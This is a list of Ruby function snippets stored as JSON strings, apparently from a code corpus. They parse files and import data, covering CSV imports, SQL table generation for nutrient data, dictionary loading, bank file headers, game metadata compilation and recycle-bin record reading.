"def initialize(database, file_path)\n @file_path = file_path\n @entries = database.entries\n validate_csv_header\n end",
"def write_food_description_table()\n puts <<SQL\ndrop table if exists FOOD_DESCRIPTION;\ncreate table FOOD_DESCRIPTION(\n id char(5) not null,\n food_group_id char(4) not null,\n description varchar(200) not null,\n short_description varchar(60) not null,\n common_name varchar(100) default null,\n manufacturer_name varchar(65) default null,\n survey_code char(1) default null,\n refuse_description varchar(135) default null,\n refuse_percentage int default null,\n scientific_name varchar(65) default null,\n nitrogen_factor float default null,\n protein_factor float default null,\n fat_factor float default null,\n carbohydrate_factor float default null,\n primary key (id)\n);\nSQL\n\n read_data('FOOD_DES.txt') do |fields|\n puts make_insert_statement('FOOD_DESCRIPTION', fields,\n 'id', 'food_group_id', 'description',\n 'short_description', 'common_name',\n 'manufacturer_name', 'survey_code',\n 'refuse_description', 'refuse_percentage',\n 'scientific_name', 'nitrogen_factor',\n 'protein_factor', 'fat_factor',\n 'carbohydrate_factor')\n end\nend",
"def parse_header(header_line)\n entries = delete_special_chars(header_line)\n # switch entries for geo coordinates since latitude comes before longitude\n geo_coordinate = Entity::Coordinate.new(entries[6].to_f, entries[5].to_f)\n @grid_data = Entity::GridPoint.new(entries[8].to_f, entries[9].to_f,\n entries[12].to_f, entries[11].to_f)\n # special case for multi word locations\n station_name = entries[0].sub(\"_\", \" \")\n @station = Entity::Station.new(station_name, entries[3], entries[13].to_f,\n geo_coordinate)\n nil\n end",
"def load_entries\n @lines = IO.readlines(@filename)\n @lines.each_with_index do |line,idx|\n if entry_klass.is_entry?(line) then\n entry = entry_klass.from_line(line)\n v = { 'entry' => entry, 'line_index' => idx }\n @entries[entry.key] = v\n end\n end\n end",
"def extract_db_content(version)\n # Only compare tables with meaningful data. Tables\n # containing temporary state, e.g., db_mutex, are not relevant here.\n # TODO: re-add other tables to check.\n include_tables = %w[master_accounts accounts positions partners partner_users]\n\n client = startup\n\n # db_columns is a temporary structure - it holds all columns for db, by table.\n # It will be merged with rows into a single data structure to facilitate\n # comparison between the 2 DBs.\n db_columns = build_columns_hash(client)\n\n # build the structure which will be used for table comparisons.\n db_columns_and_rows = build_columns_and_rows_hash(db_columns, client, include_tables)\n\n store = initialize_store('mg_db.' + version)\n persist_data(db_columns_and_rows, store)\nend",
"def read_summary(fname)\n hash={}\n # Read file\n File.open(fname,'r') do |f|\n # Loop over line\n f.each_line do |line|\n line.chomp!\n index,content = line.split(/\\s*==\\s*/)\n hash[index] = content # index:id, content:path\n end\n end\n return hash\nend",
"def parse_header(file)\n self.plural_count = 0\n self.plural_form = nil\n self.lang_name = nil\n self.items = {}\n\n content = File.open(file) { |f| f.read }\n\n # Get the plural form data from the correct location in the header.\n # These will be written to the header area of the PO/POT file.\n match = content.match(%r!^static uint whichPluralForm.*?\\{.*?/\\* Plural-Forms: nplurals=(.*?);.*?\\*/.*return (.*?;).*?\\}!m)\n if match\n self.plural_count = match[1]\n self.plural_form = match[2]\n else\n @@log.error \"#{__method__}: Could not determine the plural form. Something wrong with source file?\"\n return false\n end\n\n # The language name is used for file names and setting PO information.\n match = content.match(/^static languageDefinition (.*) =.*$/)\n if match\n self.lang_name = match[1]\n else\n @@log.error \"#{__method__}: Could not determine the language name. Something wrong with source file?\"\n return false\n end\n\n # Build a catalogue of all items.\n content.scan(%r!^\\s*\\{(?:/\\* (.*?) \\*/)?\\s*(.*?),\\s*(.*?),\\s*(.*?)\\s*\\},?!m) do | comment, key, num_case, string |\n l_key = key.to_sym\n self.items[l_key] = {} unless items.has_key?(l_key)\n self.items[l_key][num_case] = {}\n self.items[l_key][num_case][:comment] = comment ? comment.sub( /\\(fuzzy\\) /i, '') : nil\n self.items[l_key][num_case][:fuzzy] = ( comment =~ /\\(fuzzy\\) /i ) != nil\n self.items[l_key][num_case][:case] = num_case\n self.items[l_key][num_case][:if_group] = nil\n # Reconstitute Hex Escapes\n tmp = string.each_line.collect do |line|\n line.lstrip.gsub(/\\\\x(..)/) { |g| [$1.hex].pack('c*').force_encoding('UTF-8') }\n end\n # Eliminate C double-double-quotes.\n tmp = tmp.join.gsub(/(?<!\\\\)\"\"/) { |g| }\n self.items[l_key][num_case][:string] = tmp\n end\n if !self.items || self.items.empty?\n @@log.error \"#{__method__}: Could not match language contents. Something wrong with source file?\"\n self.items = {}\n return false\n end\n\n # Post-process things that are in #if blocks. This second pass is still\n # simpler than building a state machine to process the file line by line.\n # We'll have to group this hash by :if_group when we write it out, and\n # store it in a special developer comment in the PO file.\n content.scan(%r!^#if (.*?)#endif!m) do | found_block |\n found_block[0].scan(%r!^\\s*\\{(?:/\\* .*? \\*/)?\\s*(.*?),\\s*.*?,\\s*.*?\\s*\\},?!m) do | item |\n self.items[item[0].to_sym].each_value do | plural |\n plural[:if_group] = found_block[0].each_line(\"\\n\").to_a[0].rstrip\n end\n end\n end\n\n true\n end",
"def read_data(fname)\n ents=[]\n if ( File.exist?(fname) )\n File.open(fname,'r') do |f|\n f.each_line do |line|\n line.chomp!\n a1,a2,a3,a4,a5,a6 = line.split(/\\s*==\\s*/)\n hash={}\n hash[\"1\"] = a1\n hash[\"2\"] = a2\n hash[\"3\"] = a3\n hash[\"4\"] = a4\n hash[\"5\"] = a5\n hash[\"6\"] = a6\n ents.push(hash)\n end\n end\n end\n ents\nend",
"def import_people(fname)\n File.open(fname, 'r').each_line do |line|\n unless line.start_with?('name')\n name, email, p_type, picture, info = line.chomp.split(\"\\t\")\n\n person = Person.find_by(name: name)\n\n if person.nil?\n Person.create(name: name,\n email: email,\n p_type: p_type,\n picture: picture,\n info: info)\n else\n person.update(email: email,\n p_type: p_type,\n picture: picture,\n info: info)\n end\n end\n end\nend",
"def create_sequence_entries\n File.open(file_name('contigs.fasta'), 'r').each(sep=\"\\n>\") do |line|\n header, sequence = line.chomp.split( \"\\n\", 2 )\n .map { |x| x.gsub( /\\n|>/, '' ) }\n \n Sequence.create(header: header, sequence: sequence)\n end\nend",
"def saveCSVFileContentsToDB (file)\n text = File.read(file).gsub(/\\\\\"/,'\"\"')\n arr = []\n CSV.parse(text, headers: true) do |row|\n rowHash = row.to_hash\n rowHash['log_timestamp'] = Time.at(rowHash['timestamp'].to_i)\n rowHash.delete('timestamp')\n puts(rowHash)\n arr << rowHash\n end\n\n Log.create(arr)\n end",
"def parse_entry(io)\n # Read INSDC or RefSeq entry\n Bio::FlatFile.auto(io).each do |entry|\n @entry = entry\n @features = entry.features\n @source = @features.shift\n parse_sequence\n parse_source\n #parse_genes\n parse_features\n end\n end",
"def initialize(filename, start_date, duration=Float::MAX, offset=0.0)\n data = RubyUtils::FileReader.new(filename, \" \").data\n # create meta data from first entry\n meta_data = MetaData.new(data[0], start_date)\n data.delete_at(0)\n @data_repository = RubyUtils::DataRepository.new(meta_data)\n fill_repository(data, duration, offset, start_date)\n end",
"def _parse_file_using_import(file, layout, model)\n attributes = {}\n count = 0\n value_sets = []\n column_names = model.columns.map{ |column| column.name }\n not_nces_fields = column_names.select { |name| name[/id/] }\n field_names = column_names - not_nces_fields\n options = { :validate => false }\n mstate_index = field_names.index(\"MSTATE\")\n while (line = file.gets) do\n next if line.strip == ''\n values = []\n layout.each do |label, start_pos, end_pos, length, data_type, description|\n data_str = line[(start_pos-1)..(end_pos-1)].strip.gsub(/[^[:print:]]/, '')\n data_value = case data_type\n when 'N'\n data_str.to_i\n when 'D'\n data_str.to_f\n else\n data_str\n end\n values << data_value\n end\n if @states_and_provinces\n if @states_and_provinces.include?(values[mstate_index])\n value_sets << values\n end\n else\n value_sets << values\n end\n if value_sets.length >= 10\n records = model.import(field_names, value_sets, options)\n value_sets = values = []\n end\n count += 1\n if count % 500 == 0\n print '.'\n STDOUT.flush\n end\n end\n if value_sets.length > 0\n model.import(field_names, value_sets, options)\n end\n puts \"\\n#{count} records processed from #{file.path}\"\n end",
"def parse_annotation_file filename\n lines = File.open(filename,'r').read.split(\"\\n\")\n puts lines.size\n bad_header = lines.shift.split(\"\\t\")\n header = %w'seq_id reciprocal_id reciprocal_rank sp_symbol sp_evalue sp_description pfam_ids go_ids'\n data = []\n lines.each do |line|\n fields = line.split(\"\\t\")\n fields = fields.collect {|f| (f == \"#N/A\") ? nil : f}\n d = Hash[header.zip(fields)]\n d['pfam_ids'] = (d['pfam_ids']) ? d['pfam_ids'].split(\";\") : []\n\n d['go_ids'] = (d['go_ids']) ? d['go_ids'].split(\";\") : []\n data << d\n end\n data\nend",
"def import_from_csv(file_name)\r\n #implementation goes here\r\n csv_text = File.read(file_name)\r\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\r\n # #8 iterate over table rows, create hash for each, then convert to Entry using 'add_entry' method\r\n csv.each do |row|\r\n row_hash = row.to_hash\r\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\r\n end #end csv.each loop\r\n end",
"def test_primary_key_creation\n tmpdbfile = Tempfile.new('tmp.db')\n args = [\"--header\", \n \"--source\", \"header_test.csv\", \n \"--save-to\", tmpdbfile.path, \n \"--ifs=\" \",\",\n \"--table-name\",\"pk_test\",\n \"--primary-key\",\"id\"]\n Csvql.run(args)\n\n db = SQLite3::Database.new tmpdbfile.path\n headers_from_db = db.execute2('select * from pk_test;')[0]\n headers_from_file = ['id',File.open('header_test.csv').each_line.first.gsub(/\\n/,'').split(',')].flatten\n\n #binding.pry\n assert_equal headers_from_db, headers_from_file\n end",
"def load_row_data(headers, row)\n # Hash of field values\n fields = {}\n\n # List of alternate spellings found in current row\n alt_spellings = []\n\n # Related words for current row\n see_also = []\n\n # List of hashes of source data for current row\n sources = []\n\n # Loop through the cells in the row\n row.each_with_index do |field_value, col_index|\n # Skip empty cells\n next unless field_value\n\n # Remove leading/trailing whitespace from field value\n field_value = field_value.strip\n\n # Get current header\n header = headers[col_index]\n\n if header.start_with? 'headword'\n headword_data = headword_data field_value\n fields = fields.merge headword_data\n next\n end\n\n if header.start_with? 'altspelling'\n alt_spellings << field_value\n next\n end\n\n if header.start_with? 'source'\n match = self.class.source_header_regex.match header\n\n # Get source number i.e. source1\n source_num = match[1].to_i - 1 # Subtract 1 since CSV vals are 1-based, and arrays are 0-based\n\n # Ref/original_ref/date/place\n source_component = match[2]\n\n # Find or create source record for current source\n current_source = sources[source_num] ||= {}\n\n # Add current field to source obj\n current_source[source_component.to_sym] = field_value\n current_source[:source_num] = source_num\n next\n end\n\n if header == 'see also'\n current_see_also = see_also_from_string field_value\n see_also += current_see_also\n next\n end\n\n # No match, so just add as is\n fields[header.to_sym] = field_value\n end\n\n # Fields that are handled specially\n special_fields = { alt_spellings: alt_spellings, see_also: see_also, sources: sources }\n\n # Add special fields to all others\n all_fields = special_fields.merge fields\n\n all_fields\n end",
"def prepare_import_statements\n @insert_point = @db.prepare(\"INSERT INTO point (lat, lon) VALUES(?, ?)\")\n @check_md5 = db.prepare(\"SELECT COUNT(*) FROM file WHERE md5 = ?\")\n @insert_md5 = db.prepare(\"INSERT INTO file (md5) VALUES(?)\")\n end",
"def ExtractInfoFromFileContents file_contents\ndata = file_contents.split('|')\n# Remove the first line\n# Remove the project_name from data\n# Remove the line below project_name\ndata = data.drop(3)\n\n# Now, everything is in 3-tuple <key, value, \"\\n\">\ndata.shift\nproject_name = data.first\nproject_name = project_name.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nrepo_url = data.first\nrepo_url = repo_url.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nhead_sha = data.first\nhead_sha = head_sha.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nnum_commits = data.first\nnum_commits = num_commits.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nnum_merges = data.first\nnum_merges = num_merges.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nreverts_msg = data.first\nreverts_msg = reverts_msg.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nreverts_complete = data.first\nreverts_complete = reverts_complete.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nreverts_partial = data.first\nreverts_partial = reverts_partial.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\ncps_complete = data.first\ncps_complete = cps_complete.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\ncps_partial = data.first\ncps_partial = cps_partial.gsub(/\\s+/, \"\")\ndata = data.drop(2)\n\nproject_name_repo_url_head_sha_combined = project_name + \"\\n\" + repo_url + \"\\n\" + head_sha\nreturn [project_name_repo_url_head_sha_combined, num_commits, num_merges, reverts_msg, reverts_complete, reverts_partial, cps_complete, cps_partial]\n\nend",
"def process\n lines = clean_lines\n\n # Peek ahead to get the headers\n unless @file_content.blank?\n CSV.parse(@file_content, {:headers => true, :skip_blanks => true}) do |row|\n @rows_exist = true\n @headers = row.headers\n break\n end\n end\n\n @rows_exist = @rows_exist and [email protected]?\n end",
"def add_attributes(source,attribute,data_type)\n file = File.open(source, \"r+\")\n file.each do |line|\n while line == \" create_table :#{@scaffold_name}s do |t|\\n\" do\n pos = file.pos\n rest = file.read\n file.seek pos\n file.write(\" t.#{data_type} :#{attribute}\\n\") \n file.write(rest)\n break\n end\n end\n end",
"def compile_metadata(path = \"PBS/metadata.txt\")\r\n GameData::Metadata::DATA.clear\r\n GameData::MapMetadata::DATA.clear\r\n # Read from PBS file\r\n File.open(path, \"rb\") { |f|\r\n FileLineData.file = path # For error reporting\r\n # Read a whole section's lines at once, then run through this code.\r\n # contents is a hash containing all the XXX=YYY lines in that section, where\r\n # the keys are the XXX and the values are the YYY (as unprocessed strings).\r\n pbEachFileSection(f) { |contents, map_id|\r\n schema = (map_id == 0) ? GameData::Metadata::SCHEMA : GameData::MapMetadata::SCHEMA\r\n # Go through schema hash of compilable data and compile this section\r\n for key in schema.keys\r\n FileLineData.setSection(map_id, key, contents[key]) # For error reporting\r\n # Skip empty properties, or raise an error if a required property is\r\n # empty\r\n if contents[key].nil?\r\n if map_id == 0 && [\"Home\", \"PlayerA\"].include?(key)\r\n raise _INTL(\"The entry {1} is required in {2} section 0.\", key, path)\r\n end\r\n next\r\n end\r\n # Compile value for key\r\n value = pbGetCsvRecord(contents[key], key, schema[key])\r\n value = nil if value.is_a?(Array) && value.length == 0\r\n contents[key] = value\r\n end\r\n if map_id == 0 # Global metadata\r\n # Construct metadata hash\r\n metadata_hash = {\r\n :id => map_id,\r\n :home => contents[\"Home\"],\r\n :wild_battle_BGM => contents[\"WildBattleBGM\"],\r\n :trainer_battle_BGM => contents[\"TrainerBattleBGM\"],\r\n :wild_victory_ME => contents[\"WildVictoryME\"],\r\n :trainer_victory_ME => contents[\"TrainerVictoryME\"],\r\n :wild_capture_ME => contents[\"WildCaptureME\"],\r\n :surf_BGM => contents[\"SurfBGM\"],\r\n :bicycle_BGM => contents[\"BicycleBGM\"],\r\n :player_A => contents[\"PlayerA\"],\r\n :player_B => contents[\"PlayerB\"],\r\n :player_C => contents[\"PlayerC\"],\r\n :player_D => contents[\"PlayerD\"],\r\n :player_E => contents[\"PlayerE\"],\r\n :player_F => contents[\"PlayerF\"],\r\n :player_G => contents[\"PlayerG\"],\r\n :player_H => contents[\"PlayerH\"]\r\n }\r\n # Add metadata's data to records\r\n GameData::Metadata.register(metadata_hash)\r\n else # Map metadata\r\n # Construct metadata hash\r\n metadata_hash = {\r\n :id => map_id,\r\n :outdoor_map => contents[\"Outdoor\"],\r\n :announce_location => contents[\"ShowArea\"],\r\n :can_bicycle => contents[\"Bicycle\"],\r\n :always_bicycle => contents[\"BicycleAlways\"],\r\n :teleport_destination => contents[\"HealingSpot\"],\r\n :weather => contents[\"Weather\"],\r\n :town_map_position => contents[\"MapPosition\"],\r\n :dive_map_id => contents[\"DiveMap\"],\r\n :dark_map => contents[\"DarkMap\"],\r\n :safari_map => contents[\"SafariMap\"],\r\n :snap_edges => contents[\"SnapEdges\"],\r\n :random_dungeon => contents[\"Dungeon\"],\r\n :battle_background => contents[\"BattleBack\"],\r\n :wild_battle_BGM => contents[\"WildBattleBGM\"],\r\n :trainer_battle_BGM => contents[\"TrainerBattleBGM\"],\r\n :wild_victory_ME => contents[\"WildVictoryME\"],\r\n :trainer_victory_ME => contents[\"TrainerVictoryME\"],\r\n :wild_capture_ME => contents[\"WildCaptureME\"],\r\n :town_map_size => contents[\"MapSize\"],\r\n :battle_environment => contents[\"Environment\"]\r\n }\r\n # Add metadata's data to records\r\n GameData::MapMetadata.register(metadata_hash)\r\n end\r\n }\r\n }\r\n # Save all data\r\n GameData::Metadata.save\r\n GameData::MapMetadata.save\r\n Graphics.update\r\n end",
"def import_venues_from_file(country_code,file_name)\n f = File.open(file_name, 'r') \n text = f.read \n lines = text.split(/$/) \n lines.each{|line|\n begin\n tokens = line.split(\"|\")\n code = tokens[0].strip\n venue = Venue.find_by_code(code)\n venue ||= Venue.new\n venue.code=code\n venue.name=tokens[1].strip\n venue.affiliate_url_1=tokens[12].strip\n venue.affiliate_url_2=tokens[13].strip\n venue.logo_url=tokens[14].strip\n venue.city=tokens[35].strip\n venue.state=tokens[36].strip\n venue.address=tokens[37].strip\n venue.zipcode=tokens[38].strip\n venue.url=\"http://www.ticketmaster.com/json/search/event?vid=#{code}\"\n venue.source=\"ticketmaster\"\n venue.save\n puts \"#{venue.code} #{venue.name} in #{venue.city}, #{venue.state}\"\n rescue\n end\n }\n f.close\n end",
"def get_file_details(file_name)\n fd = {}\n \n # Looping through the file and updating the name and url variable with the new data\n # and then finally adding them to the hash table\n File.readlines(file_name).each do |line|\n \n data = line.split(\" \")\n puts data[2]\n name = data[0]\n url = data[2]\n\n fd[name] = url\n end\n puts fd\n return fd\nend",
"def prepare_identities_from_files; end",
"def write_weight_table()\n puts <<SQL\ndrop table if exists WEIGHT;\ndrop index if exists id_idx;\ndrop index if exists sequence_idx;\n\ncreate table WEIGHT(\n id char(5) not null,\n sequence char(2) not null,\n amount float not null,\n description varchar(84) not null,\n grams float not null,\n data_points int default null,\n std_deviation float default null,\n primary key (id, sequence)\n);\n\ncreate index id_idx on WEIGHT(id);\ncreate index sequence_idx on WEIGHT(sequence);\n\nSQL\n\n read_data('WEIGHT.txt') do |fields|\n puts make_insert_statement('WEIGHT', fields,\n 'id', 'sequence', 'amount', 'description', 'grams',\n 'data_points', 'std_deviation')\n end\nend",
"def parse_file_data\n current_category = nil\n todo_lines = []\n File.open(@config_file) {|fl| todo_lines = fl.readlines() }\n line_count = 0\n todo_lines.each do |todo_line|\n todo_line.strip!.chomp!\n next if todo_line.nil? or todo_line.empty?\n case todo_line\n when /^\\*{1}\\ (.+)?/\n current_category = $1\n line_count = 0\n @todo_container[current_category] ||= []\n when /^(\\*{2,})\\ TODO\\ (.+)?/\n priority = $1.size\n item = OpenStruct.new(:priority => priority, :flag => true, :text => $2,:index => line_count )\n line_count += 1\n @todo_container[current_category] << item\n when /^(\\*{2,})\\ DONE\\ (.+)?/\n priority = $1.size\n item = OpenStruct.new(:priority => priority, :flag => false, :text => $2,:index => line_count )\n line_count += 1\n @todo_container[current_category].push(item)\n end\n end\n end",
"def get_header_info\n @data.rewind\n \n #column_count_offset = 33, record_count_offset = 24, record_length_offset = 36\n @record_count, @data_offset, @record_length = data.read(HEADER_LENGTH).unpack(\"@24 I x4 I I\")\n @column_count = (@data_offset-400)/200\n end",
"def parse(line)\n raise EntryFileError, \"Do not know how to parse the entries in #{File.basename(@data_file)}!\"\n end",
"def carma_facs_parse_header(line, id_map)\n m = line.match(/=(\\d+)/) \n if m.nil?\n STDERR.puts \"No id found\"\n exit 1\n end \n id = m[1]\n m = line.match (/SOURCE_1=\\\"(.*)\\\"/) \n if m.nil?\n STDERR.puts \"No name found\"\n exit 1\n end \n name=m[1]\n identifier_map(id, name, id_map)\nend",
"def import_dict_from_file_hnd(dict_name, dict_folder)\n puts \"start importing dictionary\"\n\n base_path = @file_dir+\"/\"+dict_folder\n dict_idx_path = base_path + \"/\" + \"#{dict_folder}.index\"\n dict_data_path = base_path + \"/\" +\"#{dict_folder}.dict\"\n\n dict_table = @DB[@dict_table_name];\n dict_id = -1\n begin\n dict_id = dict_table.insert(:name=>dict_name.force_encoding(\"UTF-8\"),\n :string_id=>dict_folder.force_encoding(\"UTF-8\"))\n rescue\n #dict_id = @DB['SELECT * FROM ? WHERE string_id = ?',@dict_table_name, dict_folder].first\n dict_id = dict_table[:string_id=>dict_folder][:id]\n #puts \"count not insert dict #{dict_id}\"\n end\n\n if (dict_id<0)\n puts \"unknown error, could not find dict_id\"\n return\n end\n\n word_table = @DB[@word_table_name];\n meaning_table = @DB[@meaning_table_name];\n\n\n count = 0\n File.open(dict_data_path, \"r\") do |data_file|\n File.open(dict_idx_path, \"r\") do |idx_file|\n while (line = idx_file.gets)\n count+=1\n pos1 = line.index(\"\\t\")\n pos2=line.index(\"\\t\",pos1+1)\n\n keyword = line[0..pos1-1]\n str_entry_offset = line[pos1+1..pos2-1]\n str_entry_len = line[pos2+1..line.length-2]\n\n entry_offset = dec_val(str_entry_offset)\n entry_len = dec_val(str_entry_len)\n data_file.seek(entry_offset, IO::SEEK_SET)\n meaning = data_file.read(entry_len)\n\n word_id = -1\n existed_meaning = nil\n begin\n ch = keyword[0].upcase\n kind = 0\n if (ch<='Z' and ch >= 'A')\n kind = ch.getbyte(0) - 64\n end\n word_id = word_table.insert(:word=>keyword.force_encoding(\"UTF-8\"), :kind=>kind)\n rescue Exception => e\n word_id = word_table[:word=>keyword][:id]\n existed_meaning = meaning_table[:word=>word_id, :dict=>dict_id]\n if !existed_meaning.nil?\n existed_meaning = existed_meaning[:meaning]\n end\n end\n\n if (word_id<0)\n puts \"unknown error, could not get word id\"\n return\n end\n\n begin\n if (!existed_meaning.nil?)\n meaning = existed_meaning + \"\\n\\n\" + meaning.force_encoding(\"UTF-8\");\n meaning_table[:dict=>dict_id, :word=>word_id] = {:meaning=>meaning}\n else\n meaning_table.insert(:dict=>dict_id,:word=>word_id, :meaning=>meaning)\n end\n rescue Exception => e\n puts \"could not insert meaning #{keyword} e: #{e}\"\n end\n\n if count%1000==0\n puts \"count: #{count}\"\n #return\n end\n\n end\n end\n end\n\n puts \"importing done\"\n\nend",
"def upload_csv\n @title=\"Import Users\"\n if request.post?\n CSV.parse(params[:file].read, :encoding=>\"UTF-8\") do |row|\n row = row.collect(&:to_s).collect(&:strip).collect{|s| s.gsub(\"\\\"\", \"\")}\n # row = row[0].to_s.split(\"\\t\").collect(&:strip)\n\n\t Businessnew.create({:address=>row[3], :category=>row[10], :city=>row[4], :id=>row[0],\n :latitude=>row[9], :longitude=>row[8], :name=>row[1], :phone=>row[7],\n :postal_code=>row[6].split(\" \").join(''), :state=>row[5], :url=>row[2]}) if Businessnew.present?\n\n#force_encoding(\"UTF-8\")\n#.encode(\"ISO-8859-1\")\n#.force_encoding(\"ISO-8859-1\").encode(\"UTF-8\")\n#force_encoding(\"BINARY\")\n\n # CsvBusiness.create({\n # :address=>row[5],\n #:city=>row[6],\n #:company_name=>row[4],\n #:contact_name=>row[9],\n #:employee=>row[12],\n #:fax_number=>row[15],\n #:gender=>row[10],\n # :major_division_description=>row[0],\n # :phone_number=>row[14],\n # :province=>row[7],\n # :sales=>row[13],\n # :sic_2_code_description=>row[1],\n # :sic_4_code=>row[2],\n # :sic_4_code_description=>row[3],\n #:title=>row[11],\n #:zip_code=>row[8]\n # })\n\n=begin\n#20130615051307\n\t\tStoreTiming.create({:id=>row[0], :business_id=>row[1], :mon_from=>row[2], :mon_to=>row[3], :tue_from=>row[4], :tue_to=>row[5], :wed_from=>row[6], :wed_to=>row[7], :thur_from=>row[8], :thur_to=>row[9],\n :fri_from=>row[10], :fri_to=>row[11], :sat_from=>row[12], :sat_to=>row[13],\n :sun_from=>row[14], :sun_to=>row[15]})\n=end\n end\n\n flash[:notice] = \"Uploading completed.\"\n redirect_to root_path\n else\n render :layout => false\n end\n\n end",
"def parse_header_contents; end",
"def import_file_table\n @error = true\n scanned_data = ReadFile.scan(sale_params[:file_table], Sale.regex_read_file_table)\n if scanned_data\n begin\n sales_mapped = Sale.map_scanned_data scanned_data\n Sale.create(sales_mapped)\n @total_gross_income = Sale.calc_total_gross_income sales_mapped\n @error = false\n rescue\n end\n end\n end",
"def add_file_metadata\n file_data = {}\n file_data[:filename] = File.basename(options[:original_filename])\n file_data[:file_size] = File.size(options[:original_filename])\n file_data[:record_delimiter] = options[:delimiter]\n file_data[:rows] = options[:rows]\n file_data[:columns] = options[:csv_column_datatypes].keys.size\n file_data[:processed_filename] = File.basename(options[:filename])\n file_data[:processed_file_path] = options[:filename]\n file_data[:processed_file_size] = File.size(options[:filename])\n file_data[:error_report] = options[:temp_file]\n return file_data\n end",
"def new_table(name, field_defs, encrypt, record_class)\r\n # Header rec consists of last record no. used, delete count, and\r\n # all field names/types. Here, I am inserting the 'recno' field\r\n # at the beginning of the fields.\r\n header_rec = ['000000', '000000', record_class, 'recno:Integer',\r\n field_defs].join('|')\r\n\r\n header_rec = 'Z' + encrypt_str(header_rec) if encrypt\r\n\r\n begin\r\n fptr = open(File.join(@db.path, name.to_s + @db.ext), 'w')\r\n fptr.write(header_rec + \"\\n\")\r\n ensure\r\n fptr.close\r\n end\r\n end",
"def import\n CSV.foreach(@file.path, :converters => :all, :return_headers => false, :headers => :first_row) do |row|\n source, first_name, last_name, _, company, phone, *address = *row.to_hash.values\n\n street, city, state, zip, _ = *address\n address = Address.new(:street1 => street, :city => city, :state => state, :zipcode => zip)\n\n lead = Lead.new(:source => source, :first_name => first_name, :last_name => last_name,\n :company => company, :phone => phone)\n\n lead.first_name = \"FILL ME\" if lead.first_name.blank?\n lead.last_name = \"FILL ME\" if lead.last_name.blank?\n lead.access = \"Private\"\n lead.addresses << address\n\n lead.assignee = @assigned if @assigned.present?\n\n lead.save!\n end\n end",
"def insert_matches_from_tar(file)\n Archive.read_open_filename(file) do |ar|\n while entry = ar.next_header\n name = entry.pathname\n match_data = ar.read_data\n unless match_data.blank?\n match_data = unserialize_match_data(match_data)\n save_match(match_data)\n end\n end\n end\n end",
"def metadata_file; end",
"def metadata_file; end",
"def monta_header_arquivo\n header_arquivo = '' # Descrição Posição Tamanho\n header_arquivo << cod_banco # CÓDIGO DO BANCO [1......3] 03(9) 341\n header_arquivo << '0000' # CÓDIGO DO LOTE [4......7] 04(9) 0000\n header_arquivo << '0' # TIPO DE REGISTRO [8......8] 01(9) 0\n header_arquivo << ''.rjust(6, ' ') # BRANCOS [9.....14] 06(X)\n header_arquivo << versao_layout_arquivo # LAYOUT DE ARQUIVO [15....17] 03(9) 081\n header_arquivo << Util::Empresa.new(documento_debitado, false).tipo # TIPO DE INSCRIÇÃO DA EMPRESA DEBITADA [18....18] 01(9) 1 = CPF 2 = CNPJ\n header_arquivo << documento_debitado.to_s.rjust(14, '0') # CNPJ da EMPRESA DEBITADA [19....32] 14(9)\n header_arquivo << ''.rjust(20, ' ') # BRANCOS [33....52] 20(X)\n header_arquivo << agencia.rjust(5, '0') # NÚMERO AGÊNCIA DEBITADA [53....57] 05(9)\n header_arquivo << ''.rjust(1, ' ') # BRANCOS [58....58] 01(X)\n header_arquivo << conta_corrente.rjust(12, '0') # CONTA NÚMERO DEBITADA [59....70] 12(9)\n header_arquivo << ''.rjust(1, ' ') # BRANCOS [71....71] 01(X)\n header_arquivo << digito_conta # DAC DA AGÊNCIA/CONTA DEBITADA [72....72] 01(9)\n header_arquivo << empresa_mae.format_size(30) # NOME DA EMPRESA [73...102] 30(X)\n header_arquivo << nome_banco.format_size(30) # NOME DO BANCO [103..132] 30(X)\n header_arquivo << ''.rjust(10, ' ') # BRANCOS [133..142] 10(X)\n header_arquivo << '1' # CÓDIGO REMESSA/RETORNO [143..143] 01(9) 1=REMESSA\n header_arquivo << data_geracao # DATA DE GERAÇÃO DO ARQUIVO [144..151] 08(9) DDMMAAAA\n header_arquivo << hora_geracao # HORA DE GERAÇÃO DO ARQUIVO [152..157] 06(9) HHMMSS\n header_arquivo << ''.rjust(9, '0') # ZEROS [158..166] 09(9)\n header_arquivo << densidade_gravacao.rjust(5, '0') # DENSIDADE DE GRAVAÇÃO DO ARQUIVO [167..171] 05(9) 0 Padrao | 1600 BPI | # 6250 BPI\n header_arquivo << ''.rjust(69, ' ') # BRANCOS [172..240] 69(X)\n header_arquivo\n end",
"def records\n # Get to the end of the header\n @fh.seek(20)\n records = []\n while not @fh.eof?\n record = @fh.readpartial(800).unpack(\"Z260VVQVa520\")\n break if @fh.eof?\n records.push({\n :record_number => record[1],\n :filename_ascii => record[0],\n :filename => Iconv.new(\"UTF-8\",\"UTF-16LE\").iconv(record[5]).strip,\n :size => record[4],\n :drive_letter => (record[2]+65).chr,\n :delete_time => Time.at((record[3]/(10**7))-11644473600),\n })\n end\n records\n end",
